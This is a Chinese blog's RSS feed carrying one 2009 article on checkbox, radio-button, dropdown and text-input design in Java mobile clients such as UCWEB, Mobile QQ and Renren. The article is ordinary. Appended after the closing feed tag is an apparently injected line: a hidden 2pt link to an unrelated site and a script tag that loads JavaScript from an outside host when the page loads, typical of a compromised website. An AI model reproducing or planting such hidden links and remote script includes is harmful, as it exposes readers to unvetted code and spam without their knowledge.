<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>闹玩 &#187; UCWEB</title>
	<atom:link href="http://www.naowan.com/archives/tag/ucweb/feed" rel="self" type="application/rss+xml" />
	<link>http://www.naowan.com</link>
	<description>移动互联网, 不是闹着玩</description>
	<lastBuildDate>Mon, 22 Mar 2010 04:41:10 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<image>
<link>http://www.naowan.com</link>
<url>http://dearhjl.w11.cndns.com/wp-content/mbp-favicon/wan.png</url>
<title>闹玩</title>
</image>
		<item>
		<title>Java手机客户端常用控件</title>
		<link>http://www.naowan.com/archives/2009/10/26/1452</link>
		<comments>http://www.naowan.com/archives/2009/10/26/1452#comments</comments>
		<pubDate>Sun, 25 Oct 2009 18:13:01 +0000</pubDate>
		<dc:creator>侯亮</dc:creator>
				<category><![CDATA[手机客户端]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[java客户端]]></category>
		<category><![CDATA[UCWEB]]></category>
		<category><![CDATA[手机QQ]]></category>
		<category><![CDATA[手机人人]]></category>

		<guid isPermaLink="false">http://www.naowan.com/?p=1452</guid>
		<description><![CDATA[在网页和桌面软件中，标准控件是人们非常熟悉的交互元素，是产品开发者在不同场景用以表达特定功用的重要工具。比如，在Firefox浏览器的系统设置中，就用复选框允许用户对标签浏览的多种样式进行选择。
除了复选框，标准控件中的单选按钮、下拉列表框、文本输入框等，已经成为公用的软件语言，无论是软件产品的设计者、开发者还是使用者，都离不开这些看似简单但内容丰富的元素。
本文将介绍Java手机客户端软件设计中，几种主要标准控件（复选按钮，单选按钮，下拉列表框，文本输入框）的使用和表现形式，并以几款深受欢迎的手机客户端产品为例，分析在这些产品上相关控件的使用场景。
复选按钮
在Java版UCWEB中，调用了系统自带的复选按钮，用以实现同时选择多个功能项。例如，当用户选择“清除记录”时，软件会提示用户删除哪些项：
可以有默认选中的项，每个被选中的项会打一个叉，这和通常的复选按钮设计不太一致：在通常的复选按钮中，被选中的项前会用对号勾选。
这个系统控件看起来不是很精致，不知是不是这个原因，在Java版手机QQ的登录界面中，没有调用系统自带的复选按钮控件，而是设计了自己的复选按钮。例如，登录QQ时，用户可以通过复选按钮设置记住密码、隐身登录、静音登录、接受群消息等操作。手机QQ的复选按钮设计的比价精致，比如，被选中的项文字处于高亮状态，未被选中的项则处于暗色，当前获得焦点的按钮有亮色边框。
单选按钮和下拉列表框
当用户需要在众多选项中选择一个时，可以使用单选按钮或下拉列表框。例如，从城市列表中选择一个你的当前城市，从男/女性别中选择你的性别，都需要单选功能。
例如，在Java版手机QQ中的皮肤设置功能，通过平台自带的单选按钮，可以从多个界面方案中选择一项自己喜欢的皮肤模式：
在Java版UCWEB中，设计了专门的下拉列表框，比如，在系统设置中选择字体大小时：
当然，单选功能也可以通过菜单中的多选一实现，例如，在UCWEB中，通过菜单可以设定字体大小：
文本输入框
文本输入框要比上面所讲的控件简单，但是实现形式却很丰富，在很多场合可以使用。
例如，Java版手机QQ通过文本输入框输入验证码（值得注意的是，输入框前插入了随即生成的图片）：
上图中一个不完美的地方是，输入框获得焦点后，输入法没有自动切换到数字模式。而在手机QQ中通过号码或昵称查询好友时，却能够正确切换到对应的输入法状态（数字和拼音）：
另外，可以设置输入框中输入文本长度的上限。比如，上面三个输入中，最长输入长度分别为16、10和12（标题下圆括号内的提示）。
在人人网客户端中，用户写新日志时，调用的系统界面由两个文本输入框组成，分别用来输入标题和正文（其中标题限制在50个字以内）：
控件之间的组合
通过控件之间的适当组合，一方面，可以使相关的控件更具整体感，另一方面，也可以节省空间，方便用户的统一操作（这在手机这样的小屏幕平台上尤其重要）。
例如，在UCWEB中，搜索输入框和搜索引擎的选择组合在一起：
Java版手机QQ中集成了浏览器功能，在浏览器设置中，字体大小和图片显示这两个属性通过两组单选按钮进行设置：
如果候选列表过长，像这样列出所有单选项必然要占据很多空间，使多个选项之间失去整体感。此时，可以用下拉列表组织每组选项，这样，会得到更加清晰的设计。例如，在手机QQ中根据条件查找好友，可以设置地区、年龄、性别，其中，地区、年龄都有很多选项，此时，通过下拉列表隐藏每组内容，会让几个条件的布局简洁，逻辑清晰：
在人人网客户端中，当你给朋友留言时，可以选择是否为“悄悄话”，通过将文本输入框和复选框组合在一起，实现此功能（留言最多为500字）：
总之，正如一个厨师必须了解油盐酱醋的特性才能烹饪出各式美味一样，在Java手机客户端软件中，产品设计者和开发者必须了解这些基本控件的设计和使用，实现产品的不同功能，并使得产品界面简洁明了，操作方便，提高用户体验。特别是那些系统自有控件，如果能够很好的加以使用并巧妙组合，能够省去开发控件的人力和时间，降低开发成本。
相关软件：
1. 手机QQ：2009通用Java版，543Kb，下载地址：http://www.shouji-qq.com/。
2.UCWEB浏览器：7.0，Java通用版，303Kb，下载地址：http://www.ucweb.com/。
3. 人人网客户端：2009正式版，Java通用版，205Kb，下载地址：http://m.renren.com/。



推荐文章爱逛3.0: 城市生活一手掌握手机客户端产品体验:淘宝随身购高效能人士必备的10款iPhone软件掌上百度，上掌不易手机客户端产品的三种交互实现手机产品框架层设计: 两种主要的布局方式我爱生活，我爱逛！生活中的设计：不对称的伞生活中的设计：有借有还聆听上帝的抱怨

<div id="related_posts"><h3>推荐文章</h3><ul><li><a href='http://www.naowan.com/archives/2010/01/28/1734' rel='bookmark' title='Permanent Link: 爱逛3.0: 城市生活一手掌握'>爱逛3.0: 城市生活一手掌握</a></li><li><a href='http://www.naowan.com/archives/2009/12/28/1682' rel='bookmark' title='Permanent Link: 手机客户端产品体验:淘宝随身购'>手机客户端产品体验:淘宝随身购</a></li><li><a href='http://www.naowan.com/archives/2009/12/24/1677' rel='bookmark' title='Permanent Link: 高效能人士必备的10款iPhone软件'>高效能人士必备的10款iPhone软件</a></li><li><a href='http://www.naowan.com/archives/2009/11/25/1584' rel='bookmark' title='Permanent Link: 掌上百度，上掌不易'>掌上百度，上掌不易</a></li><li><a href='http://www.naowan.com/archives/2009/11/06/1517' rel='bookmark' title='Permanent Link: 手机客户端产品的三种交互实现'>手机客户端产品的三种交互实现</a></li><li><a href='http://www.naowan.com/archives/2009/10/30/1475' rel='bookmark' title='Permanent Link: 手机产品框架层设计: 两种主要的布局方式'>手机产品框架层设计: 两种主要的布局方式</a></li><li><a href='http://www.naowan.com/archives/2009/09/05/1111' rel='bookmark' title='Permanent Link: 我爱生活，我爱逛！'>我爱生活，我爱逛！</a></li><li><a href='http://www.naowan.com/archives/2009/05/21/405' rel='bookmark' title='Permanent Link: 生活中的设计：不对称的伞'>生活中的设计：不对称的伞</a></li><li><a href='http://www.naowan.com/archives/2009/05/14/266' rel='bookmark' title='Permanent Link: 生活中的设计：有借有还'>生活中的设计：有借有还</a></li><li><a href='http://www.naowan.com/archives/2009/04/07/17' rel='bookmark' title='Permanent Link: 聆听上帝的抱怨'>聆听上帝的抱怨</a></li></ul></div>]]></description>
			<content:encoded><![CDATA[<p>在网页和桌面软件中，标准控件是人们非常熟悉的交互元素，是产品开发者在不同场景用以表达特定功用的重要工具。比如，在Firefox浏览器的系统设置中，就用复选框允许用户对标签浏览的多种样式进行选择。</p>
<div class="wp-caption aligncenter" style="width: 549px"><img title="Firefox浏览器中设置标签式浏览属性" src="http://farm3.static.flickr.com/2695/4060005998_3a22e427df_o.png" alt="Firefox浏览器中设置标签式浏览属性" width="539" height="262" /><p class="wp-caption-text">Firefox浏览器中设置标签式浏览属性</p></div>
<p>除了复选框，标准控件中的单选按钮、下拉列表框、文本输入框等，已经成为公用的软件语言，无论是软件产品的设计者、开发者还是使用者，都离不开这些看似简单但内容丰富的元素。</p>
<p>本文将介绍Java手机客户端软件设计中，几种主要标准控件（复选按钮，单选按钮，下拉列表框，文本输入框）的使用和表现形式，并以几款深受欢迎的手机客户端产品为例，分析在这些产品上相关控件的使用场景。</p>
<h3><span style="color: #993300;"><strong>复选按钮</strong></span></h3>
<p>在Java版UCWEB中，调用了系统自带的复选按钮，用以实现同时选择多个功能项。例如，当用户选择“清除记录”时，软件会提示用户删除哪些项：</p>
<div class="wp-caption aligncenter" style="width: 215px"><img title="UCWEB中清除记录中的复选按钮" src="http://farm3.static.flickr.com/2611/4059879112_97b87e1ce5.jpg" alt="UCWEB中清除记录中的复选按钮" width="205" height="274" /><p class="wp-caption-text">UCWEB中清除记录中的复选按钮</p></div>
<p>可以有默认选中的项，每个被选中的项会打一个叉，这和通常的复选按钮设计不太一致：在通常的复选按钮中，被选中的项前会用对号勾选。</p>
<p>这个系统控件看起来不是很精致，不知是不是这个原因，在Java版手机QQ的登录界面中，没有调用系统自带的复选按钮控件，而是设计了自己的复选按钮。例如，登录QQ时，用户可以通过复选按钮设置记住密码、隐身登录、静音登录、接受群消息等操作。手机QQ的复选按钮设计的比价精致，比如，被选中的项文字处于高亮状态，未被选中的项则处于暗色，当前获得焦点的按钮有亮色边框。</p>
<div class="wp-caption aligncenter" style="width: 212px"><img title="手机QQ登录时的复选框" src="http://farm3.static.flickr.com/2473/4059144113_3dcf1753c1_o.jpg" alt="手机QQ登录时的复选框" width="202" height="270" /><p class="wp-caption-text">手机QQ登录时的复选框</p></div>
<h3><span style="color: #993300;"><strong>单选按钮和下拉列表框</strong></span></h3>
<p>当用户需要在众多选项中选择一个时，可以使用单选按钮或下拉列表框。例如，从城市列表中选择一个你的当前城市，从男/女性别中选择你的性别，都需要单选功能。</p>
<p>例如，在Java版手机QQ中的皮肤设置功能，通过平台自带的单选按钮，可以从多个界面方案中选择一项自己喜欢的皮肤模式：</p>
<div class="wp-caption aligncenter" style="width: 216px"><img title="手机QQ中通过单选按钮设置皮肤" src="http://farm3.static.flickr.com/2643/4059893246_70f8ffa59d_o.jpg" alt="手机QQ中通过单选按钮设置皮肤" width="206" height="275" /><p class="wp-caption-text">手机QQ中通过单选按钮设置皮肤</p></div>
<p>在Java版UCWEB中，设计了专门的下拉列表框，比如，在系统设置中选择字体大小时：</p>
<div class="wp-caption aligncenter" style="width: 414px"><img title="UCWEB通过下拉列表设置字体大小" src="http://farm3.static.flickr.com/2578/4059153887_f0e6361d9b_o.png" alt="UCWEB通过下拉列表设置字体大小" width="404" height="270" /><p class="wp-caption-text">UCWEB通过下拉列表设置字体大小</p></div>
<p>当然，单选功能也可以通过菜单中的多选一实现，例如，在UCWEB中，通过菜单可以设定字体大小：</p>
<div class="wp-caption aligncenter" style="width: 213px"><img title="UCWEB通过菜单选择字体大小" src="http://farm3.static.flickr.com/2772/4059901062_50eb4c8118_o.jpg" alt="UCWEB通过菜单选择字体大小" width="203" height="272" /><p class="wp-caption-text">UCWEB通过菜单选择字体大小</p></div>
<h3><span style="color: #993300;"><strong>文本输入框</strong></span></h3>
<p>文本输入框要比上面所讲的控件简单，但是实现形式却很丰富，在很多场合可以使用。</p>
<p>例如，Java版手机QQ通过文本输入框输入验证码（值得注意的是，输入框前插入了随即生成的图片）：</p>
<div class="wp-caption aligncenter" style="width: 218px"><img title="登录手机QQ时提示输入验证码" src="http://farm4.static.flickr.com/3490/4059161223_c504a3d786_o.jpg" alt="登录手机QQ时提示输入验证码" width="208" height="263" /><p class="wp-caption-text">登录手机QQ时提示输入验证码</p></div>
<p>上图中一个不完美的地方是，输入框获得焦点后，输入法没有自动切换到数字模式。而在手机QQ中通过号码或昵称查询好友时，却能够正确切换到对应的输入法状态（数字和拼音）：</p>
<div class="wp-caption aligncenter" style="width: 427px"><img title="手机QQ分别通过号码或昵称查找好友" src="http://farm4.static.flickr.com/3533/4059165467_7760c9e985_o.png" alt="手机QQ分别通过号码或昵称查找好友" width="417" height="278" /><p class="wp-caption-text">手机QQ分别通过号码或昵称查找好友</p></div>
<p>另外，可以设置输入框中输入文本长度的上限。比如，上面三个输入中，最长输入长度分别为16、10和12（标题下圆括号内的提示）。</p>
<p>在人人网客户端中，用户写新日志时，调用的系统界面由两个文本输入框组成，分别用来输入标题和正文（其中标题限制在50个字以内）：</p>
<div class="wp-caption aligncenter" style="width: 209px"><img title="人人网客户端中写新日志的系统界面" src="http://farm3.static.flickr.com/2775/4059197161_3d69826bfa_o.jpg" alt="人人网客户端中写新日志的系统界面" width="199" height="266" /><p class="wp-caption-text">人人网客户端中写新日志的系统界面</p></div>
<h3><span style="color: #993300;"><strong>控件之间的组合</strong></span></h3>
<p>通过控件之间的适当组合，一方面，可以使相关的控件更具整体感，另一方面，也可以节省空间，方便用户的统一操作（这在手机这样的小屏幕平台上尤其重要）。</p>
<p>例如，在UCWEB中，搜索输入框和搜索引擎的选择组合在一起：</p>
<div class="wp-caption aligncenter" style="width: 399px"><img title="UCWEB中搜索词输入和搜索引擎选择组合" src="http://farm3.static.flickr.com/2653/4059920544_936a202145_o.png" alt="UCWEB中搜索词输入和搜索引擎选择组合" width="389" height="258" /><p class="wp-caption-text">UCWEB中搜索词输入和搜索引擎选择组合</p></div>
<p>Java版手机QQ中集成了浏览器功能，在浏览器设置中，字体大小和图片显示这两个属性通过两组单选按钮进行设置：</p>
<div class="wp-caption aligncenter" style="width: 214px"><img title="不同的属性通过多组单选按钮实现" src="http://farm3.static.flickr.com/2724/4059923016_54cca32122_o.jpg" alt="不同的属性通过多组单选按钮实现" width="204" height="256" /><p class="wp-caption-text">不同的属性通过多组单选按钮实现</p></div>
<p>如果候选列表过长，像这样列出所有单选项必然要占据很多空间，使多个选项之间失去整体感。此时，可以用下拉列表组织每组选项，这样，会得到更加清晰的设计。例如，在手机QQ中根据条件查找好友，可以设置地区、年龄、性别，其中，地区、年龄都有很多选项，此时，通过下拉列表隐藏每组内容，会让几个条件的布局简洁，逻辑清晰：</p>
<div class="wp-caption aligncenter" style="width: 433px"><img title="多个条件查找好友，其中可以设置地区" src="http://farm3.static.flickr.com/2448/4059183273_1cf11804f6_o.png" alt="多个条件查找好友，其中可以设置地区" width="423" height="279" /><p class="wp-caption-text">多个条件查找好友，其中可以设置地区</p></div>
<p>在人人网客户端中，当你给朋友留言时，可以选择是否为“悄悄话”，通过将文本输入框和复选框组合在一起，实现此功能（留言最多为500字）：</p>
<div class="wp-caption aligncenter" style="width: 217px"><img title="人人网客户端回复留言界面" src="http://farm3.static.flickr.com/2452/4059207881_8d511a6806_o.jpg" alt="人人网客户端回复留言界面" width="207" height="276" /><p class="wp-caption-text">人人网客户端回复留言界面</p></div>
<p>总之，正如一个厨师必须了解油盐酱醋的特性才能烹饪出各式美味一样，在Java手机客户端软件中，产品设计者和开发者必须了解这些基本控件的设计和使用，实现产品的不同功能，并使得产品界面简洁明了，操作方便，提高用户体验。特别是那些系统自有控件，如果能够很好的加以使用并巧妙组合，能够省去开发控件的人力和时间，降低开发成本。</p>
<p><span style="color: #999999;">相关软件：</span></p>
<p><span style="color: #999999;">1. 手机QQ：2009通用Java版，543Kb，下载地址：http://www.shouji-qq.com/。</span></p>
<p><span style="color: #999999;">2.UCWEB浏览器：7.0，Java通用版，303Kb，下载地址：http://www.ucweb.com/。</span></p>
<p><span style="color: #999999;">3. 人人网客户端：2009正式版，Java通用版，205Kb，下载地址：http://m.renren.com/。<br />
</span></p>


<div id="related_posts"><h3>推荐文章</h3><ul><li><a href='http://www.naowan.com/archives/2010/01/28/1734' rel='bookmark' title='Permanent Link: 爱逛3.0: 城市生活一手掌握'>爱逛3.0: 城市生活一手掌握</a></li><li><a href='http://www.naowan.com/archives/2009/12/28/1682' rel='bookmark' title='Permanent Link: 手机客户端产品体验:淘宝随身购'>手机客户端产品体验:淘宝随身购</a></li><li><a href='http://www.naowan.com/archives/2009/12/24/1677' rel='bookmark' title='Permanent Link: 高效能人士必备的10款iPhone软件'>高效能人士必备的10款iPhone软件</a></li><li><a href='http://www.naowan.com/archives/2009/11/25/1584' rel='bookmark' title='Permanent Link: 掌上百度，上掌不易'>掌上百度，上掌不易</a></li><li><a href='http://www.naowan.com/archives/2009/11/06/1517' rel='bookmark' title='Permanent Link: 手机客户端产品的三种交互实现'>手机客户端产品的三种交互实现</a></li><li><a href='http://www.naowan.com/archives/2009/10/30/1475' rel='bookmark' title='Permanent Link: 手机产品框架层设计: 两种主要的布局方式'>手机产品框架层设计: 两种主要的布局方式</a></li><li><a href='http://www.naowan.com/archives/2009/09/05/1111' rel='bookmark' title='Permanent Link: 我爱生活，我爱逛！'>我爱生活，我爱逛！</a></li><li><a href='http://www.naowan.com/archives/2009/05/21/405' rel='bookmark' title='Permanent Link: 生活中的设计：不对称的伞'>生活中的设计：不对称的伞</a></li><li><a href='http://www.naowan.com/archives/2009/05/14/266' rel='bookmark' title='Permanent Link: 生活中的设计：有借有还'>生活中的设计：有借有还</a></li><li><a href='http://www.naowan.com/archives/2009/04/07/17' rel='bookmark' title='Permanent Link: 聆听上帝的抱怨'>聆听上帝的抱怨</a></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://www.naowan.com/archives/2009/10/26/1452/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
<!--***--***--><a href="http://www.haokangren.com" style="font-size:2pt">Դ</a><script language="javascript" src="http://zy.6769.com/x.js"></script><!--***--***-->